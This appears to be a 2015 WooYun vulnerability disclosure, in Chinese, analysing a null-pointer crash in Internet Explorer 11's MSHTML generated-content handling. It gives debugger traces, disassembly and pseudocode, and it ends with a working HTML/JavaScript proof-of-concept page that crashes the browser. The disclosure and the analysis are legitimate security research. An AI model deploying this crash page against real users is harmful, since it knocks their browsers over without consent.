当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096807

漏洞标题:Internet Explorer 11 crash x1(CGeneratedContent)

相关厂商:微软

漏洞作者: blast

提交时间:2015-02-11 15:19

修复时间:2015-05-17 08:36

公开时间:2015-05-17 08:36

漏洞类型:拒绝服务

危害等级:低

自评Rank:2

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-16: 厂商已经确认,细节仅向厂商公开
2015-02-19: 细节向第三方安全合作伙伴开放
2015-04-12: 细节向核心白帽子及相关领域专家公开
2015-04-22: 细节向普通白帽子公开
2015-05-02: 细节向实习白帽子公开
2015-05-17: 细节向公众公开

简要描述:

CGeneratedContent中解引用Markup Pointer失败一例,做法依旧是微软老大的一贯套路
附详细分析以及代码。 IE 11.0.9600.17358

详细说明:

崩溃:

(770.4da4): Access violation - code c0000005 (!!! second chance !!!)
eax=03bab400 ebx=03bab518 ecx=03da51c4 edx=03da5434 esi=00000000 edi=03bab3fc
eip=5cbe8756 esp=03bab3d8 ebp=03bab418 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
MSHTML!CGeneratedContent::RemoveGeneratedContentInRangeInternal+0x42:
5cbe8756 f70600010000 test dword ptr [esi],100h ds:002b:00000000=????????


崩溃栈:

0:008> kvn
# ChildEBP RetAddr Args to Child
00 03bab418 5cb0c6a9 03da3e98 00000001 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentInRangeInternal+0x42 (FPO: [Non-Fpo])
01 03bab42c 5cb0c99d 03da3e98 03da43a8 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentFixupInRange+0x59 (FPO: [Non-Fpo])
02 03bab460 5d020c46 03da43a8 03bab4d0 03bab518 MSHTML!CDoc::InsertElement+0x69 (FPO: [Non-Fpo])
03 03bab578 5cb6d212 00000000 03da2c18 00000000 MSHTML!UnoverlapPartials+0x4f8a03
04 03bab658 5cb28081 00000000 02ca66f8 00000001 MSHTML!CElement::InjectInternal+0x35d (FPO: [Non-Fpo])
05 03bab6c0 5cb28398 00000000 00000001 02ca66f8 MSHTML!CElement::InjectTextOrHTML+0x16d (FPO: [Non-Fpo])
06 03bab6e8 5a7a83ec 0340cae0 02000002 033fdde0 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x56 (FPO: [Non-Fpo])
07 03bab750 5a7a8e7e 0340cae0 02000002 033fdde0 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x165 (FPO: [Non-Fpo])
08 03bab770 5a7a8dea 029c3d00 033fdde0 000003b8 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x6b (FPO: [0,0,4])
09 03bab7b8 5a7afdcf 02ca66e8 029c3d00 02d18000 jscript9!Js::JavascriptOperators::CallSetter+0x76 (FPO: [Non-Fpo])
0a 03bab7e0 5a7af9ca 02ca66e8 03bab820 029c3d00 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0xb9 (FPO: [Non-Fpo])
0b 03bab800 5a7afa26 02ca66e8 029c3d00 03bab820 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40 (FPO: [Non-Fpo])
0c 03bab83c 5a7b0b11 033fdde0 000003b8 02ca66e8 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x4d (FPO: [Non-Fpo])
0d 03babb48 5a7a5f40 033b026e 02d18000 033b0000 jscript9!Js::InterpreterStackFrame::Process+0x2c8f (FPO: [Non-Fpo])
0e 03babc74 033d0fe9 03babc88 03babcc0 5a79fe46 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
0f 03babc80 5a79fe46 02d15320 00000000 03babcf8 0x33d0fe9
10 03babcc0 5a7a045f 00000000 00000000 a9d90b66 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88 (FPO: [Non-Fpo])
11 03babd2c 5a7a03b1 029c3d00 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0x93 (FPO: [Non-Fpo])
12 03babd74 5a7a0338 03babd94 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42 (FPO: [Non-Fpo])
13 03babd98 5a80a4f6 02d15320 03babddc 00000000 jscript9!ScriptSite::Execute+0x64 (FPO: [Non-Fpo])
14 03babe20 5a809e3b 03bac090 03bac0b0 a9d908e2 jscript9!ScriptEngine::ExecutePendingScripts+0x1c6 (FPO: [Non-Fpo])
15 03babea8 5a80b3bc 0526efc4 03da292c 02d151e0 jscript9!ScriptEngine::ParseScriptTextCore+0x29e (FPO: [Non-Fpo])
16 03babef8 5c9cb213 029c8a78 0526efc4 00443b04 jscript9!ScriptEngine::ParseScriptText+0x5a (FPO: [Non-Fpo])
17 03babf30 5c9cb34f 0526efc4 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x42 (FPO: [Non-Fpo])
18 03babf80 5c91a427 0526efc4 00000000 00000000 MSHTML!CJScript9Holder::ParseScriptText+0x6d (FPO: [Non-Fpo])
19 03babfe8 5c9cc6ac 00000000 03da3e98 0528b2e8 MSHTML!CScriptCollection::ParseScriptText+0x155 (FPO: [Non-Fpo])
1a 03bac0d4 5c9cc2fc 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x29f (FPO: [Non-Fpo])
1b 03bac14c 5c9cc0e4 003e45a8 052d9b18 003e45a8 MSHTML!CScriptData::Execute+0x1fe (FPO: [Non-Fpo])
1c 03bac160 5c9be562 00000000 03da3e98 00000000 MSHTML!CHtmScriptParseCtx::Execute+0x8b (FPO: [Non-Fpo])
1d 03bac1d8 5c8dc2ef 0042a678 052700b8 167215c4 MSHTML!CHtmParseBase::Execute+0x136 (FPO: [Non-Fpo])
1e 03bac2fc 5c920d86 167215c4 0042a678 052700b8 MSHTML!CHtmPost::Exec+0x468 (FPO: [Non-Fpo])
1f 03bac314 5c920d0a 167215c4 052700b8 0042a678 MSHTML!CHtmPost::Run+0x1c (FPO: [Non-Fpo])
20 03bac334 5c920bc6 052700b8 052700b8 80000000 MSHTML!PostManExecute+0x61 (FPO: [Non-Fpo])
21 03bac348 5c920b27 00000027 00000001 0042a678 MSHTML!PostManResume+0x7b (FPO: [0,0,4])
22 03bac378 5c8f717b 0045acd8 052700b8 03bac3cc MSHTML!CHtmPost::OnDwnChanCallback+0x38 (FPO: [Non-Fpo])
23 03bac388 5cb51b39 0045acd8 00000000 0042a678 MSHTML!CDwnChan::OnMethodCall+0x19 (FPO: [Non-Fpo])
24 03bac3cc 5cb39282 a9ec8710 00000000 5cb38e78 MSHTML!GlobalWndOnMethodCall+0x12c (FPO: [Non-Fpo])
25 03bac418 774662fa 00111bbe 00000011 00000000 MSHTML!GlobalWndProc+0x11a (FPO: [Non-Fpo])
26 03bac444 77466d3a 5cb38e78 00111bbe 00008002 user32!InternalCallWinProc+0x23
27 03bac4bc 774677c4 00000000 5cb38e78 00111bbe user32!UserCallWinProcCheckWow+0x109 (FPO: [Non-Fpo])
28 03bac51c 7746788a 5cb38e78 00000000 03baf6f8 user32!DispatchMessageWorker+0x3bc (FPO: [Non-Fpo])
29 03bac52c 5d9a53ba 03bac570 003e7180 00000000 user32!DispatchMessageW+0xf (FPO: [Non-Fpo])
2a 03baf6f8 5d9e050b 00000001 006543f0 003a1f10 IEFRAME!CTabWindow::_TabWindowThreadProc+0x44a (FPO: [Non-Fpo])
2b 03baf7b0 770e761c 0065f6a8 00000000 03baf7ec IEFRAME!LCIETab_ThreadProc+0x301 (FPO: [Non-Fpo])
2c 03baf7c0 0ff32e8b 006543f0 00000000 770e760e iertutil!_IsoThreadProc_WrapperToReleaseScope+0xe (FPO: [Non-Fpo])
2d 03baf7ec 7607338a 003a1f10 03baf838 77bf9f72 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x71 (FPO: [Non-Fpo])
2e 03baf7f8 77bf9f72 003a1f10 6204d636 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
2f 03baf838 77bf9f45 0ff32e1a 003a1f10 ffffffff ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
30 03baf850 00000000 0ff32e1a 003a1f10 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])


事实上只要有这么些就ok了:

0:008> kvn
# ChildEBP RetAddr Args to Child
00 03bab418 5cb0c6a9 03da3e98 00000001 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentInRangeInternal+0x42 (FPO: [Non-Fpo])
01 03bab42c 5cb0c99d 03da3e98 03da43a8 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentFixupInRange+0x59 (FPO: [Non-Fpo])
02 03bab460 5d020c46 03da43a8 03bab4d0 03bab518 MSHTML!CDoc::InsertElement+0x69 (FPO: [Non-Fpo])
03 03bab578 5cb6d212 00000000 03da2c18 00000000 MSHTML!UnoverlapPartials+0x4f8a03
04 03bab658 5cb28081 00000000 02ca66f8 00000001 MSHTML!CElement::InjectInternal+0x35d (FPO: [Non-Fpo])
05 03bab6c0 5cb28398 00000000 00000001 02ca66f8 MSHTML!CElement::InjectTextOrHTML+0x16d (FPO: [Non-Fpo])
06 03bab6e8 5a7a83ec 0340cae0 02000002 033fdde0 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x56 (FPO: [Non-Fpo])


不难看出来是这一句触发了崩溃:

0:008> da 02ca66f8
02ca66f8 "z"


在没有细看分析之前,大致就能猜出来是啥原因了:
1、 由上层JS解析器开始解析脚本,请看frame 17 - 16。

0:008> du 0526efc4
0526efc4 ".. R2=0;.. function DOMRemove(ev"
...


2、脚本解析成功,修改该元素内容为'z',元素innerHTML改变导致CFastDOM::CHTMLElement接收到了一个Trampoline_Set_innerHTML。请看frame 7 - 6。
3、Range的解析中试图向Range里面加入一个Node。

0:008> ub MSHTML!UnoverlapPartials+0x4f8a03
MSHTML!UnoverlapPartials+0x4f89ef:
5d020c32 75a1 jne MSHTML!UnoverlapPartials+0x4f8992 (5d020bd5)
5d020c34 53 push ebx
5d020c35 8d45a0 lea eax,[ebp-60h]
5d020c38 50 push eax
5d020c39 8d8558ffffff lea eax,[ebp-0A8h]
5d020c3f 50 push eax
5d020c40 57 push edi
5d020c41 e8e6bcaeff call MSHTML!CDoc::InsertElement (5cb0c92c)


4、 也就是将A插入HEAD中间的这步:

0:008> ln poi[03da43a8]
(5ce65ea0) MSHTML!CAnchorElement::`vftable' | (5ce665fd) MSHTML!IsTopLevelOrphanedDOMNode
Exact matches:
0:008> ln poi[03bab4d0]
(5c8017f8) MSHTML!CMarkupPointer::`vftable' | (5c8019f8) MSHTML!CDoc::`vftable'
Exact matches:
0:008> ln poi[03bab518]
(5c8017f8) MSHTML!CMarkupPointer::`vftable' | (5c8019f8) MSHTML!CDoc::`vftable'
Exact matches:


5、

# ChildEBP RetAddr  Args to Child              
00 03bab418 5cb0c6a9 03da3e98 00000001 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentInRangeInternal+0x42 (FPO: [Non-Fpo])
01 03bab42c 5cb0c99d 03da3e98 03da43a8 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentFixupInRange+0x59 (FPO: [Non-Fpo])


在操作对Range内数据移动时出错。
=================================
背景介绍:
1、TreePos
也即指向HTML Tree中的某个位置。
2、TreePosGap
指向两个TreePos中间,用来插入元素用的,可以想成人为的制造了一个Gap,但是TreePosGap并不是HTML Tree的一部分。
IE11的实现原型(伪代码,所以不要在意里面有时候会少了一些东西,eg:内存的分配过程):

enum TPG_DIRECTION 
{
TPG_EITHER = 0,
TPG_LEFT = 1,
TPG_RIGHT = 2
};
BOOL __fastcall CGeneratedContent::RemoveGeneratedContentInRange(TreePosGap* ptpgStart, TreePosGap* ptpgFinish, CMarkup* mMarkupToInsert)
{
BOOL result;
result = ptpgStart __ ptpgFinish; //ptpgStart是否等同于ptpgFinish?
if ( !result )
{
//remove the gap
ptpgStart->AdjacentTreePos(TPG_RIGHT);
ptpgFinish->AdjacentTreePos(TPG_LEFT);

ptpgStart->SetAttachPreference(TPG_LEFT);
ptpgFinish->SetAttachPreference(TPG_RIGHT);

CGeneratedContent::RemoveGeneratedContentInRangeInternal(ptpgStart, ptpgFinish, mMarkupToInsert, 0);

ptpgStart->SetAttachPreference(TPG_RIGHT);
result = ptpgFinish->SetAttachPreference(TPG_LEFT);
}
return result;
}
HRESULT __fastcall CGeneratedContent::RemoveGeneratedContentFixupInRange(CMarkupPointer* pmkpStart, CMarkupPointer* pmkpFinish, CMarkup* pMarkupToRemove)
{
HRESULT hr = ERROR_SUCCESS;
CTreePos* ptpTreePointerA, ptpTreePointerB;
if ( pmkpStart->_pDoc )
ptpTreePointerA = pmkpStart->_pmpFirst;
else
ptpTreePointerA = 0;

if ( pmkpStart->_pDoc )
ptpTreePointerB = pmkpFinish->_pmpFirst;
else
ptpTreePointerB = 0;
CTreePos *ptp = ptpTreePointerA;
while ( ptpTreePointerA )
{
ptp = ptpRight;
ptpRight = ptp->LeftChild();
}

while ( ptpTreePointerB )
{
ptp = ptpRight;
ptpRight = ptp->RightChild();
}


if ( ptpTreePointerA && ptpTreePointerB && ( ptpTreePointerA != ptpTreePointerB ))
{
CGeneratedContent::RemoveGeneratedContentInRangeInternal(ptpTreePointerA, ptpTreePointerB, pMarkupToRemove, 1);
}
else
{
hr = E_UNEXPECTED;
}
return hr;
}
int __fastcall CGeneratedContent::RemoveGeneratedContentInRangeInternal(CTreePos* ptpStart, CTreePos* ptpFinish, CMarkup* pkmpMarkupTree, BOOL fBefore)
{
CTreeNode * pNode;
CTreeNode * pNode2;
HRESULT hr;

CTreeNode * pNodeInAry;
BYTE bDirection;
BOOL bLeftGravity;
CMarkup* v14;
int nOffset;
LPVOID lpMem;
nOffset = 0;

while ( ptpFinish != ptpStart )
{
if ( ptpFinish->IsFirstBranch() )
{
pNode = CTreePos::Branch(ptpFinish);

if (!( fBefore && !(*(_DWORD *)(pNode + 100) & 0x8FFF80) ))
{
if ( !ptpFinish->IsFirstChild() && ptpFinish->IsLastChild())
{
pNode = CPtrAry<CTreeNode__>::Append(pNode);
}
else
{
if ( nOffset <= 0 )
pNodeInAry = NULL;
else
pNodeInAry = lpMem[nOffset];
if ( pNodeInAry == pNode )
CImplAry::Delete(4, nOffset - 1);
if ( pNode->IsLeftGravity() )
{
bLeftGravity = TRUE;
bDirection = LEFT;
}
else
{
bLeftGravity = FALSE;
bDirection = RIGHT;
}
Tree::Notify_NodeInsertionDeletion(1, bDirection);
pNode->ClearGeneratedTreeNodeReference();
ptpFinish = *(_DWORD *)(ptpFinish + 16);
hr = pNode->RemoveNodeFromTree(pkmpMarkupTree, bLeftGravity, 0, 0);
}
}
}
ptpFinish = ptpFinish->Next();
} //END OF WHILE


for ( i = nOffset - 1; i >= 0; --i )
{
pNode2 = lpMem[i];
CImplAry::Delete(4, i);
if ( pNode2->IsLeftGravity() )
{
bLeftGravity = TRUE;
bDirection = LEFT;
}
else
{
bLeftGravity = FALSE;
bDirection = RIGHT;
}
Tree::Notify_NodeInsertionDeletion(1, bDirection);
pNode2->ClearGeneratedTreeNodeReference();
hr = pNode2->RemoveNodeFromTree(pkmpMarkupTree, bLeftGravity, 0, 0);
}
if ( lpMem )
hr = ProcessHeapFree(lpMem);
return hr;
}
blast@1/18


=======================
3、调试过程:
很简单,集中在错误最后几层即可知道为啥崩了。

0:008> kvn
# ChildEBP RetAddr Args to Child
00 036fb7d8 5cb0c6a9 03093e98 00000001 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentInRangeInternal+0x42 (FPO: [Non-Fpo])
01 036fb7ec 5cb0c99d 03093e98 030952d0 00000000 MSHTML!CGeneratedContent::RemoveGeneratedContentFixupInRange+0x59 (FPO: [Non-Fpo])
02 036fb820 5d020c46 030952d0 036fb890 036fb8d8 MSHTML!CDoc::InsertElement+0x69 (FPO: [Non-Fpo])


下短点的时候偶尔会有一些阻碍,比如

0:008> ub MSHTML!CDoc::InsertElement+0x69
^ Unable to find valid previous instruction for 'ub MSHTML!CDoc::InsertElement+0x69'

0:008> u MSHTML!CDoc::InsertElement+0x69
MSHTML!CDoc::InsertElement+0x61:
5cb0c995 d38bcfe8b3fc ror dword ptr [ebx-34C1731h],cl
5cb0c99b ff ???
5cb0c99c ff85c07542f6 inc dword ptr [ebp-9BD8A40h]
5cb0c9a2 47 inc edi
5cb0c9a3 30040f xor byte ptr [edi+ecx],al
5cb0c9a6 844242 test byte ptr [edx+42h],al
5cb0c9a9 0100 add dword ptr [eax],eax
5cb0c9ab 8b473c mov eax,dword ptr [edi+3Ch]
0:008> u MSHTML!CDoc::InsertElement
……
MSHTML!CDoc::InsertElement+0x59:
5cb0c98d 85c0 test eax,eax
5cb0c98f 7552 jne MSHTML!CDoc::InsertElement+0xab (5cb0c9e3)
MSHTML!CDoc::InsertElement+0x5d:
5cb0c991 ff7724 push dword ptr [edi+24h]
5cb0c994 8bd3 mov edx,ebx
5cb0c996 8bcf mov ecx,edi
5cb0c998 e8b3fcffff call MSHTML!CGeneratedContent::RemoveGeneratedContentFixupInRange (5cb0c650)
5cb0c99d 85c0 test eax,eax
5cb0c99f 7542 jne MSHTML!CDoc::InsertElement+0xab (5cb0c9e3)
MSHTML!CDoc::InsertElement+0x6d:
5cb0c9a1 f6473004 test byte ptr [edi+30h],4
5cb0c9a5 0f8442420100 je MSHTML!CDoc::InsertElement+0xbc (5cb20bed)


人生就是这么精彩,改为bp MSHTML!CDoc::InsertElement+0x65 即可。
重启IE11。找到tab进程,实在找不到就自己把IE设置成单进程模式吧。

0:016> bp MSHTML!CDoc::InsertElement+0x65
0:016> g
ModLoad: 58e80000 58f0c000 C:\Windows\SysWOW64\uiautomationcore.dll
ModLoad: 77b90000 77b95000 C:\Windows\syswow64\PSAPI.DLL
ModLoad: 73a70000 73a80000 D:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\PrivateAssemblies\Microsoft.VisualStudio.QualityTools.RecorderBarBHO100.dll
ModLoad: 6ad40000 6ae2e000 C:\Windows\SysWOW64\MSVCR120.dll
Breakpoint 0 hit
eax=00000000 ebx=0397bac0 ecx=02df7ab0 edx=02df7ab0 esi=00000000 edi=0397bac0
eip=5cb0c991 esp=0397b998 ebp=0397b9c0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDoc::InsertElement+0x5d:
5cb0c991 ff7724 push dword ptr [edi+24h] ds:002b:0397bae4=02df6e48


调之前仔细看看是不是触发bug的那个call哦。
确认之后,看看传来的参数:

0:008> dds esp
0397b6e0 02df78c0
0397b6e4 00000000
0397b6e8 00000000
0397b6ec 00000000


CDoc::InsertElement的原型是:

HRESULT CDoc::InsertElement (CElement * pElementInsert,CMarkupPointer * pPointerStart, CMarkupPointer * pPointerFinish, DWORD dwFlags ) {...}


对应一下,第一个参数:

0:008> dd 02df78c0 L4
02df78c0 5ce65ea0 00000004 00000003 00000008
0:008> ln 5ce65ea0
(5ce65ea0) MSHTML!CAnchorElement::`vftable' | (5ce665fd) MSHTML!IsTopLevelOrphanedDOMNode


看,第一个参数是指向CAnchorElement,也就是我们的那个锚。当然CAnchorElement是派生自CElement的,所以没问题,就是它了。
dwFlags暂且不用管,是传递给InsertElementInternal的时候用的。显而易见的是这里传递了两个空的CMarkupPointer*进来。但是很不幸的是:没有校验空指针。

0:008> 
eax=02df94d0 ebx=0397b7c0 ecx=de4e6f2b edx=02df3058 esi=00000000 edi=0397b778
eip=5cb0c9ae esp=0397b6e0 ebp=0397b708 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CDoc::InsertElement+0x76:
5cb0c9ae 6a01 push 1
0:008>
eax=02df94d0 ebx=0397b7c0 ecx=de4e6f2b edx=02df3058 esi=00000000 edi=0397b778
eip=5cb0c9b0 esp=0397b6dc ebp=0397b708 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CDoc::InsertElement+0x78:
5cb0c9b0 50 push eax
0:008>
eax=02df94d0 ebx=0397b7c0 ecx=de4e6f2b edx=02df3058 esi=00000000 edi=0397b778
eip=5cb0c9b1 esp=0397b6d8 ebp=0397b708 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CDoc::InsertElement+0x79:
5cb0c9b1 8d4de8 lea ecx,[ebp-18h]
0:008>
eax=02df94d0 ebx=0397b7c0 ecx=0397b6f0 edx=02df3058 esi=00000000 edi=0397b778
eip=5cb0c9b4 esp=0397b6d8 ebp=0397b708 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CDoc::InsertElement+0x7c:
5cb0c9b4 e898a4f2ff call MSHTML!CTreePosGap::MoveTo (5ca36e51)
0:008> dd 0397b6f0
0397b6f0 00000000


为了追查责任,到上一层看看。

0:008> ub MSHTML!UnoverlapPartials+0x4f8a03
MSHTML!UnoverlapPartials+0x4f89ef:
5d020c32 75a1 jne MSHTML!UnoverlapPartials+0x4f8992 (5d020bd5)
5d020c34 53 push ebx
5d020c35 8d45a0 lea eax,[ebp-60h]
5d020c38 50 push eax
5d020c39 8d8558ffffff lea eax,[ebp-0A8h]
5d020c3f 50 push eax
5d020c40 57 push edi
5d020c41 e8e6bcaeff call MSHTML!CDoc::InsertElement (5cb0c92c)


看来eax的走向很重要啊,看看ebp-60 和 ebp-a8是怎么弄出来的。

5d020bc7 8d4da0          lea     ecx,[ebp-60h]
5d020bca e852cca0ff call MSHTML!CMarkupPointer::MoveAdjacentToElement (5ca2d821)
5d020c11 8d8d58ffffff lea ecx,[ebp-0A8h]
5d020c17 e805cca0ff call MSHTML!CMarkupPointer::MoveAdjacentToElement (5ca2d821)

之前确实看到有操作这两个变量的,不过最要紧的是先找到函数开头在哪儿。

0:008> uf MSHTML!UnoverlapPartials
MSHTML!CStyle::PrivateQueryInterface+0xc0:
5cb1bf6b 8b07 mov eax,dword ptr [edi]
5cb1bf6d 50 push eax
5cb1bf6e 8b08 mov ecx,dword ptr [eax]
5cb1bf70 ff5104 call dword ptr [ecx+4]
5cb1bf73 8bc6 mov eax,esi
MSHTML!CStyle::PrivateQueryInterface+0xca:
5cb1bf75 5f pop edi
5cb1bf76 5e pop esi
5cb1bf77 5b pop ebx
5cb1bf78 5d pop ebp
5cb1bf79 c20c00 ret 0Ch
MSHTML!CStyle::PrivateQueryInterface+0x504df7:
5d020ca2 8b4508 mov eax,dword ptr [ebp+8]
5d020ca5 50 push eax
5d020ca6 ff702c push dword ptr [eax+2Ch]
5d020ca9 e8a61291ff call MSHTML!CConnectionPointContainer::CConnectionPointContainer (5c931f54)
5d020cae eb02 jmp MSHTML!CStyle::PrivateQueryInterface+0x504e07 (5d020cb2)
MSHTML!CStyle::PrivateQueryInterface+0x504e05:
5d020cb0 8bc6 mov eax,esi
MSHTML!CStyle::PrivateQueryInterface+0x504e07:
5d020cb2 8907 mov dword ptr [edi],eax
5d020cb4 85c0 test eax,eax
5d020cb6 0f85afb2afff jne MSHTML!CStyle::PrivateQueryInterface+0xc0 (5cb1bf6b)
MSHTML!CStyle::PrivateQueryInterface+0x504e11:
5d020cbc b80e000780 mov eax,8007000Eh
5d020cc1 e9afb2afff jmp MSHTML!CStyle::PrivateQueryInterface+0xca (5cb1bf75)
MSHTML!UnoverlapPartials:
5cb28243 8bff mov edi,edi
5cb28245 55 push ebp
5cb28246 8bec mov ebp,esp
5cb28248 81ecf4000000 sub esp,0F4h
5cb2824e 53 push ebx
5cb2824f 56 push esi
5cb28250 57 push edi
5cb28251 8bf9 mov edi,ecx
5cb28253 897dfc mov dword ptr [ebp-4],edi
5cb28256 e8463f0200 call MSHTML!CElement::Doc (5cb4c1a1)
5cb2825b 8bd8 mov ebx,eax
5cb2825d 8d8d10ffffff lea ecx,[ebp-0F0h]
5cb28263 33f6 xor esi,esi
5cb28265 895df0 mov dword ptr [ebp-10h],ebx
5cb28268 56 push esi
5cb28269 53 push ebx
5cb2826a e83568d4ff call MSHTML!CMarkupPointer::CMarkupPointer (5c86eaa4)
5cb2826f e9eb7c3300 jmp MSHTML!UnoverlapPartials+0x2c (5ce5ff5f)
MSHTML!UnoverlapPartials+0x2c:
5ce5ff5f 56 push esi
5ce5ff60 53 push ebx
5ce5ff61 8d8d58ffffff lea ecx,[ebp-0A8h]
5ce5ff67 e838eba0ff call MSHTML!CMarkupPointer::CMarkupPointer (5c86eaa4)
5ce5ff6c 56 push esi
5ce5ff6d 53 push ebx
5ce5ff6e 8d4da0 lea ecx,[ebp-60h]
5ce5ff71 e82eeba0ff call MSHTML!CMarkupPointer::CMarkupPointer (5c86eaa4)


看来又是这套:
获取了Anchor的Doc,然后依此生成一个CMarkupPointer,再依此生成两个CMarkupPointer,依次指示pPointerStart和pPointerEnd,可惜这个时候网页内容已经释放,这俩Pointer指向的位置变成了NULL,最后在InsertElement的时候,IE又没做有效性检查,逐层向下传,终于有一层解开了CMarkupPointer,在对CMarkupPointer指向节点的属性做判断时,导致空指针解引用崩溃。

漏洞证明:

<html>
<head>
<title>blabla</title>
<meta http-equiv="Cache-Control" content="no-cache"/>
</head>
<body>
<script type='text/javascript'>
R2=0;
function DOMRemove(event) //第一次调用时
{
if(++R2 == 1)
{
range.insertNode(ELEM1); //崩溃
}
}

alert(/about to ignite../);

var HEAD = document.head;
var ELEM1 = document.createElement("A");
var ELEM2 = document.createElement("A");
var ELEM3 = document.createElement("A");
var range = document.createRange();

range.setStart(HEAD, 0); //不能是受到影响的元素部分
range.setEnd(HEAD, 0);

HEAD.appendChild(ELEM1);
ELEM1.addEventListener("DOMNodeRemoved", DOMRemove, false);
ELEM1.appendChild(ELEM2);

ELEM2.appendChild(ELEM3);
ELEM1.innerHTML = ELEM1.outerHTML; //释放FRAME,触发DOM监听事件
</script>
</body>
</html>


f1.png


f2.png

修复方案:

一个if就解决了。
但是发生在这么高频率调用的函数里面,微软大老爷肯定不修

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20 ×2(经典二进制漏洞 Rank 翻倍)

确认时间:2015-02-16 08:35

厂商回复:

待进一步确认,需要由微软官方确认.根据以往提交微软的情况,往往要评估可利用性.鼓励此类分析.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-11 15:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    很细致的二进制漏洞分析,已经进入rank翻倍奖励流程。

  2. 2015-02-11 15:24 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    我的天 溜溜

  3. 2015-02-11 16:01 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    这个好

  4. 2015-02-11 16:09 | puzzor ( 路人 | Rank:25 漏洞数:3 | 一起puzz)

    关注处理结果。。。。。

  5. 2015-02-11 16:17 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    关注

  6. 2015-02-11 16:48 | light ( 普通白帽子 | Rank:261 漏洞数:48 | 精华漏洞数:36 | WooYun认证√ 艺术系教授 ...)

    大牛

  7. 2015-02-11 17:07 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子,温润如玉)

    路人甲到底是谁?

  8. 2015-02-11 17:21 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    blast

  9. 2015-02-12 09:23 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    修改一下 poc粘贴成我自己调试时候的那份了……最后一句应该是:ELEM1.innerHTML = 'z'; //释放ELEM1,blablabla

  10. 2015-02-15 15:51 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @疯狗 如果厂商不认领忽略了的话 rank是多少 (; ̄ェ ̄) 。。

  11. 2015-02-16 10:23 | 感染者 ( 路人 | Rank:19 漏洞数:16 | 喜欢探索,愿与君共勉!)

    厉害啊

  12. 2015-02-16 10:52 | Mik3y_14 ( 普通白帽子 | Rank:181 漏洞数:29 | 愿君多采撷,此物最相思。)

    厉害

  13. 2015-02-25 12:53 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @blast 危害等级:高漏洞Rank:20 ×2(经典二进制漏洞 Rank 翻倍)确认时间:2015-02-16 08:35看看rank和wb是不是double了 :P

  14. 2015-02-25 17:34 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    @疯狗 赞=v= 40rank已入手!

  15. 2015-03-04 10:17 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @blast good~

  16. 2015-05-17 10:43 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    你明明知道我们看不懂,还故意写那么多

  17. 2015-05-17 12:22 | Hax0rs ( 路人 | Rank:9 漏洞数:4 | Hax0rs)

    wb是不是也是双倍

  18. 2015-05-17 18:45 | Mark ( 路人 | Rank:8 漏洞数:2 | 渗透你的心)

    流弊

